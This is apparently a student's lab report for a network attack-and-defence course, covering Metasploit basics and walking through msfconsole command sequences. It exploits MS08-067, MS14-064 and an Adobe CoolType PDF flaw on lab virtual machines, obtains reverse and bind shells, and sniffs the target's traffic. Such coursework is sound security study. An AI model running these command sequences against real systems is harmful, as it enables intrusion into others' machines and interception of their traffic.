20192425 2021-2022-20192425 《网络与系统攻防技术》实验六实验报告
1.实验内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
1.1一个主动攻击实践,尽量使用最新的类似漏洞;
1.2 一个针对浏览器的攻击,尽量使用最新的类似漏洞;
1.3 一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞;
1.4 成功应用任何一个辅助模块。
2.基础知识
1.MSF体系架构
Metasploit是一款开源的渗透测试框架平台,它已经内置了数千个已披露的漏洞相关的模块和渗透测试工具。使用者选定需要使用的攻击模块之后,只需要使用简单的命令配置一些参数就能完成针对一个漏洞的测试和利用。
其体系架构如下图所示:
2.MSF模块和MSF接口
MSF模块
模块按照不同用途可分为6种类型
-
Exploits(渗透攻击模块):主要利用发现的安全漏洞或配置弱点对目标主机进行攻击,以植入和运行攻击载荷,从而获得目标系统的访问控制权。
-
主动渗透攻击:利用的安全漏洞位于网络服务端软件承载的上层应用程序之中。
-
被动渗透攻击:利用的漏洞位于客户端软件(如浏览器,浏览器插件,电子邮件客户端,Office与Adobe等各种文档与编辑软件)。
-
-
Auxiliary(辅助模块):包括对各种网络服务的扫描与检测,构建虚假服务登陆密码,口令猜测等模块。还包含一些无须加载的攻击载荷,这些模块不用来取得目标系统远程控制权,如拒绝服务。
-
Post(后渗透攻击模块):用于取得目标系统远程控制权之后的环节,实现在受控制的系统中进行各种各样的后渗透攻击动作,如敏感信息,进一步拓展,实施跳板攻击。
-
Payloads(攻击载荷模块):在渗透攻击成功后促进目标系统运行的一段植入代码,主要用来建立目标与攻击机稳定连接的,可返回shell,也可以进行程序注入等。
-
Single:是一种完全独立的Payload,使用简单,就像运行calc.exe一样简单,由于Single是完全独立的,因此他们有可能会被类似netcat这样的metasploit处理工具所捕获。
-
Stager:这种payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。
- reverse_tcp:它可以让目标系统与攻击者建立一条TCP连接,让目标系统主动连接渗透测试者的端口(反向连接)
- bind_TCP:它可以让目标系统开启一个TCP监听器,而攻击者随时可以与目标系统进行通信(正向连接)
-
Stage:是stager payload下的一种payload组件,这种payload可以提供更加高级的功能,而且没有大小限制。
-
-
Nops(空指令模块):空指令是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令。
- 最典型的空指令就是空操作,在X86CPU体系结构平台上的操作码是ox90。
-
Encoders(编码模块):攻击载荷与空指令模块组装完成一个指令序列后,在这段指令被渗透攻击模块加入恶意数据缓冲区交由目标系统运行之前,metaspliot还需要编码。其主要作用如下:
-
确保攻击载荷中不会出现“坏字符”
-
对攻击载荷进行“免杀”处理,即躲避反病毒软件,IDS入侵检测系统和IPS入侵防御系统的检测与拦截。
-
MSF接口
MSF接口包括msfconsole控制终端,msfcli命令行,msfgui图形化界面,armitage图形化界面以及msfapi远程调用接口。
MSF终端(msfconsole)是目前Metasploit框架最为流行的用户接口,而且MSF终端是Metasploit框架中最灵活、功能最丰富以及支持最好的工具之一。
MSF终端提供了一站式的接口,能访问Metasploit框架中几乎每一个选项和配置。可以使用MSF终端做任何事情,包括发起一次渗透攻击、装载辅助模块、实施查点、创建监听器,或是对整个网络进行自动化渗透攻击。
3.常用命令
- search XXX:用指定关键字搜索可以利用的漏洞模块
- use exploit XXX:使用漏洞模块
- info :显示模块的相关信息
- show payloads:查看该模块可以使用的攻击载荷
- set payload xxx:设置选中的攻击载荷
- show targets:查看可以攻击哪些操作系统
- set TARGET target number:设置目标版本
- show auxiliary:显示辅助模块
- use auxiliary name:使用辅助模块
- show options:显示配置选项
- set option xxxxx:设置选项参数
- set RHOSTS:设置目标主机的ip地址
- set RPORT:设置目标主机的端口
- set LHOSTS:设置本机的ip地址
- set LPORT:设置本机的端口号
- exploit/run:开始漏洞攻击
- sessions -l:列出会话
- sessions -i id:选择会话
- sessions -k id:结束会话
- Ctrl+z:把会话放到后台
- Ctrl+c:结束会话
3.实验过程
1.1一个主动攻击实践,尽量使用最新的类似漏洞;
ms08_067漏洞是著名的远程溢出漏洞。攻击者发送恶意资料到受害机默认开放的SMB服务端口445,通过MSRPC接口调用server服务的一个函数,并破坏程序的栈缓存区,获得远程代码执行权限,从而完全控制主机。
靶机:Windows 2000虚拟机(172.16.222.251)
攻击机:kali虚拟机(172.16.220.172)
查看靶机是否存在此漏洞,sudo nmap -sS -A --script=smb-vuln-ms08-067 -PO 172.16.222.251
如上图,可以利用此漏洞来攻击靶机。
攻击机(kali)开启MSF sudo msfconsole
search ms08_067,搜索与此漏洞相关的模块
use exploit/windows/smb/ms08_067_netapi 选择该漏洞
set payload generic/shell_reverse_tcp 设置攻击的载荷
set RHOSTS 172.16.222.251 设置靶机IP
set LHOSTS 172.16.220.172 设置攻击机IP
exploit 进行攻击
攻击成功。
1.2 一个针对浏览器的攻击,尽量使用最新的类似漏洞;
ms14-064漏洞,Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 –Win10+IE11全版本。
靶机:Windows XP虚拟机(172.16.218.78)
攻击机:kali虚拟机(172.16.220.172)
sudo msfconsole
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set SRVHOST 172.16.220.172
set AllowPowerShellPrompt true //因为msf中自带的漏洞利用exp调用的是 powershell。 所以msf中的exp代码只对安装powershell的系统生效
set LHOST 172.16.220.172 //IP地址为Kali机IP
set LPORT 2425//自己的学号
set target 0 //设置winXP靶机
exploit //发起渗透攻击
在靶机IE览器中输入URL地址
执行网址后,回到kali中攻击,注意观察kali中返回数值,输入sessions -i 1 实施攻击,如下图所示,攻击成功!
1.3 一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞;
靶机:Windows XP(172.16.218.78)
msfconsole //进入控制台
search adobe //进行查找
use windows/fileformat/adobe_cooltype_sing //使用漏洞
info //查看漏洞具体信息(重点当然是description)
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set LPORT 2425 //设置端口号
set RHOST 172.16.218.78 //设置靶机IP地址
exploit //攻击
此时生成msf.pdf,将生成的pdf文件复制到靶机中。
回到kali虚拟机
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set RHOST 172.16.218.78 //设置靶机IP地址
set LPORT 2425 //设置端口号
exploit //攻击
在XP虚拟机中利用Adobe reader打开这个pdf文件,之后XP就死机了,需要重启。
1.4 成功应用任何一个辅助模块。
sniffer(嗅探)
可以使用这个功能来看靶机的浏览记录
search sniff //看一下嗅探的攻击
use auxiliary/sniffer/psnuffle //选择攻击操作
show options
exploit
然后就去windows xp里访问一个网址,此处我以www.baidu.com为例,在kali机中成功捕获到上网的信息。
4.问题及解决方案
- 问题1:攻击机和靶机无法相互ping通。
- 问题1解决方案:一个为NAT模式,一个为桥接模式,不在同一网段。
- 问题2:攻击Adobe时无法成功。
- 问题2解决方案:改成较低版本的就可以成功了。
5.学习感悟、思考等
本次实验的难点在于难以轻松找到可以成功实现的漏洞与漏洞适用的靶机。前期在虚拟机之间网络配置过程中浪费了一些时间,导致虚拟机之间无法相互ping通,整体上这次实验还是比较简单的。